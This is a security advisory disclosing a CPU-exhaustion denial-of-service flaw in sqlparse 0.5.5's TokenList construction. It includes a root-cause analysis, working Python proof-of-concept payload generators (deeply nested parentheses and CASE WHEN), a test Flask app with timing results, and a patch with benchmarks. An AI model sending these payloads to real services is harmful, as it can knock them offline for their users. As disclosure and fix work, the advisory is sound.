GHSA-pwgv-4x5q-6m9f

### Summary

`sqlparse` ships hard limits (`MAX_GROUPING_DEPTH=100`, `MAX_GROUPING_TOKENS=10000`) intended to bound parsing work on attacker-supplied SQL, but the path that *reaches* those limits is itself `O(n*depth)` per token-group construction. A ~1-2 KB SQL payload (e.g. `SELECT (((((1))))) ...` with 500-2000 nesting levels, or a 200-400-level nested `CASE WHEN` chain) drives the parser to spend multiple seconds of CPU before the depth cap raises `SQLParseError`. Concretely: a 2 KB malicious payload consumes ~10 seconds of CPU per request on a single worker (~5000x CPU-to-input amplification), while a benign 1 KB SQL completes in ~3 ms.

The root cause is `TokenList.__init__` calling `super().__init__(None, str(self))`. `TokenList.__str__` flattens the entire subtree on every call, and grouping constructs a new `TokenList` for every parenthesis / CASE / list group, so a tree of depth `d` with `n` total tokens performs `O(n*d)` flatten work just to materialize the cached `value` field, which is then never read for grouped nodes (they override `__str__`).

This is a distinct quadratic from the input-size caps added in GHSA-2m57-hf25-phgg / GHSA-27jp-wm6q-gp25: those caps prevent unbounded work, but the time required to *trigger* the caps is itself superlinear in payload size.

### Affected components

`sqlparse` 0.5.5 (latest) and every prior version that ships `TokenList.__init__`. The offending line has existed since the introduction of the cached-value invariant; the recent DoS-protection commit (`da67ac1`, 2025-12-08) added depth + token caps to `_group_matching` / `_group` but left the per-node `str(self)` materialization untouched.

### Vulnerable code (file:line)

[`sqlparse/sql.py#L162`](https://github.com/andialbrecht/sqlparse/blob/0.5.5/sqlparse/sql.py#L162) (release 0.5.5) / [`sqlparse/sql.py#L167`](https://github.com/andialbrecht/sqlparse/blob/c923da9c5a8e8403dd32efc2171b60a177444d43/sqlparse/sql.py#L167) (current `master`):

```python class TokenList(Token): __slots__ = 'tokens'

def __init__(self, tokens=None): self.tokens = tokens or [] [setattr(token, 'parent', self) for token in self.tokens] super().__init__(None, str(self)) # ← O(subtree) work per group self.is_group = True

def __str__(self): return ''.join(token.value for token in self.flatten()) ```

`__str__` recurses via `flatten()` over the *entire* subtree below `self`. Every `TokenList` constructed during grouping (every `Parenthesis`, `Case`, `IdentifierList`, etc.) runs this on its current children, which themselves recursively call `flatten()`. For grouping that builds a tree of depth `d` containing `n` tokens, the construction cost is `O(n * d)`.

The grouping pipeline that triggers it lives at [`sqlparse/engine/grouping.py#L80`](https://github.com/andialbrecht/sqlparse/blob/0.5.5/sqlparse/engine/grouping.py#L80) (`group_parenthesis`) and [`sqlparse/engine/grouping.py#L84`](https://github.com/andialbrecht/sqlparse/blob/0.5.5/sqlparse/engine/grouping.py#L84) (`group_case`). Both call `_group_matching` which builds nested `Parenthesis` / `Case` `TokenList` instances bottom-up.

### Reachable / How input reaches the sink

`sqlparse.parse(sql)`, `sqlparse.format(sql, reindent=True)`, and `sqlparse.split(sql)` are the documented entry points and all flow into `engine/filter_stack.py:run` → `engine/grouping.py:group` → `group_parenthesis` / `group_case`. There is no opt-in flag: the quadratic runs on default configuration whenever attacker-controlled SQL contains nested parentheses, nested `CASE WHEN`, nested subqueries, or nested `ARRAY[]` literals.

Real-world consumers that feed user input directly into these entry points include any SQL formatter web service (the `sqlformat.org`-style class of tools), Django's `format_debug_sql` (`django/db/backends/base/operations.py`) used when a debug toolbar shows user-typed SQL, and downstream metadata libraries such as `sql-metadata` (`Parser(sql).columns` triggers the same O(n*d) path and reproduces the multi-second hang on the same inputs).

### Proof of concept

Minimal in-process reproduction (sqlparse 0.5.5, default settings, no caps overridden):

```python import sqlparse, time, signal

def _h(s, f): raise TimeoutError() signal.signal(signal.SIGALRM, _h)

def measure(label, sql, fn): signal.alarm(30) t0 = time.perf_counter() status = 'OK' try: fn(sql) except sqlparse.exceptions.SQLParseError: status = 'CAP' except TimeoutError: status = 'TIMEOUT' finally: signal.alarm(0) dt = (time.perf_counter() - t0) * 1000 print(f' {status:8} {dt:8.1f}ms {label} ({len(sql)} B)')

# Vector 1: deeply nested parentheses for n in (200, 500, 1000, 2000): sql = 'SELECT ' + '(' * n + '1' + ')' * n measure(f'nested-paren n={n}', sql, sqlparse.parse)

# Vector 2: deeply nested CASE WHEN for n in (100, 200, 400): case = '1' for i in range(n): case = f'CASE WHEN x={i} THEN {case} ELSE NULL END' measure(f'CASE-nested n={n}', f'SELECT {case} FROM t', sqlparse.parse) ```

Output on the reporter's machine (Python 3.9, sqlparse 0.5.5, single core):

``` CAP 80.7ms nested-paren n=200 (408 B) CAP 1342.9ms nested-paren n=500 (1008 B) CAP 11206.9ms nested-paren n=1000 (2008 B) TIMEOUT >10000ms nested-paren n=2000 (4008 B) CAP 83.1ms CASE-nested n=100 (3405 B) CAP 559.6ms CASE-nested n=200 (6905 B) CAP 5012.2ms CASE-nested n=400 (13905 B) ```

`cProfile` attribution (nested-paren n=500, 1008 B input, 3.1 s total):

``` ncalls cumtime filename:lineno(function) 501 3.133 sqlparse/sql.py:165(__str__) 501 3.127 {method 'join' of 'str' objects} 252504 3.110 sqlparse/sql.py:166(<genexpr>) 42168504 3.079 sqlparse/sql.py:207(flatten) ```

42 million `flatten()` calls for a 1 KB input. The cap raises at depth 100, but `TokenList.__init__` ran `str(self)` once per group construction and each call walked the partial subtree.

### End-to-end reproduction (against running consumer)

`victim_app.py` (a 50-line Flask formatter, the canonical sqlparse consumer pattern):

```python from flask import Flask, request, jsonify import sqlparse, time app = Flask(__name__)

@app.route('/parse', methods=['POST']) def parse_sql(): sql = request.get_data(as_text=True) t0 = time.perf_counter() try: sqlparse.parse(sql) return jsonify({'ok': True, 'parse_ms': round((time.perf_counter()-t0)*1000, 1)}) except sqlparse.exceptions.SQLParseError as e: return jsonify({'ok': False, 'parse_ms': round((time.perf_counter()-t0)*1000, 1), 'error': str(e)}), 400

@app.route('/format', methods=['POST']) def format_sql(): sql = request.get_data(as_text=True) t0 = time.perf_counter() formatted = sqlparse.format(sql, reindent=True, keyword_case='upper') return jsonify({'ok': True, 'parse_ms': round((time.perf_counter()-t0)*1000, 1), 'len': len(formatted)})

if __name__ == '__main__': app.run(host='127.0.0.1', port=5099, threaded=False) ```

Driver run (Python 3.9, sqlparse 0.5.5, `threaded=False` so one worker per request):

``` === Baseline (benign payloads) === benign small SQL 8B wire= 8.8ms server= 0.2ms benign 1 KB SQL 220B wire= 4.1ms server= 2.5ms benign flat 500-cols 2902B wire= 91.7ms server= 90.2ms

=== Malicious payloads (within default caps) === nested-paren n=200 408B wire= 84.0ms server= 82.6ms ok=False nested-paren n=500 1008B wire= 1371.9ms server= 1370.5ms ok=False nested-paren n=1000 2008B wire=10335.3ms server=10333.7ms ok=False nested-paren n=2000 4008B wire=10661.4ms server=10659.6ms ok=False CASE-nested n=400 13905B wire= 5136.4ms server= 5134.7ms ok=False IN-tuple-format n=1000 9922B wire= 3852.8ms server= 3851.2ms ok=True ```

A 2 KB payload (`nested-paren n=1000`) pins one worker for 10 seconds at 100% CPU. With `gunicorn -w N` deploying the same app, `N` concurrent malicious requests exhaust every worker and bring the service down. The cap `SQLParseError` exception is delivered to the caller, but only *after* the CPU work is already burnt.

### Impact

- Single-threaded service: 1-2 KB payload locks the worker for 1-10 seconds (CWE-1333 / CWE-405 / CWE-400 — uncontrolled resource consumption). - Multi-worker service: attacker sends `N` parallel requests, exhausts the worker pool. - Wire-to-CPU amplification on the worst vector: ~5000x (2 KB request → 10 seconds CPU). - Downstream library impact: `sql-metadata.Parser(sql).columns` calls `sqlparse.parse` internally and inherits the exact same hang (`nested-paren n=1000` → 11.3 s).

### Suggested fix

Replace the eager `str(self)` materialization with a single-pass concatenation of children's already-cached `value` fields. The `Token.value` invariant `value == str(self) at construction` is preserved (children's `value` is itself built the same way bottom-up), but the per-node cost drops from `O(subtree)` to `O(len(self.tokens))`:

```python def __init__(self, tokens=None): self.tokens = tokens or [] [setattr(token, 'parent', self) for token in self.tokens] # Avoid materializing the full subtree via str(self): concatenating # children's already-cached `value` is O(len(tokens)) per group, # whereas str(self) recursively flattens the entire subtree which is # O(subtree) per node and turns nested grouping into O(n * depth). super().__init__(None, ''.join(token.value for token in self.tokens)) self.is_group = True ```

Measured against the 0.5.5 source tree with the patch applied locally and the full existing test-suite running (479 passed, 2 xfailed, 1 xpassed; the same baseline as unpatched `0d24023`):

| Vector | Before fix | After fix | Speedup | |---|---|---|---| | nested-paren n=500 | 1336 ms | 11 ms | 121x | | nested-paren n=1000 | 11206 ms | 22 ms | 509x | | nested-paren n=2000 | TIMEOUT (>10 s) | 45 ms | 220x+ | | CASE-nested n=200 | 559 ms | 25 ms | 22x | | CASE-nested n=500 | TIMEOUT (>10 s) | 61 ms | 160x+ | | benign 1 KB SQL | 3 ms | 3 ms | unchanged |

End-to-end Flask `victim_app` re-run against the patched library:

``` nested-paren n=1000 2008B server= 34.6ms nested-paren n=2000 4008B server= 67.2ms CASE-nested n=400 13905B server= 49.5ms benign 1 KB SQL 220B server= 3.4ms ```

The IN-tuple `format()` vector observed at `n=1000` (3.8 s for ~10 KB input) is a separate quadratic in the `reindent` filter (`filters/reindent.py:_get_offset` → `_flatten_up_to_token`) and is not covered by this advisory; please consider it as a follow-up if the maintainer would like a separate report.

### Fix PR

A fix PR against the temp private fork, mirroring the diff above with a regression test (`test_nested_paren_within_cap_under_50ms`), is attached and linked from this advisory.

### Credit

Reported by [tonghuaroot](https://github.com/tonghuaroot).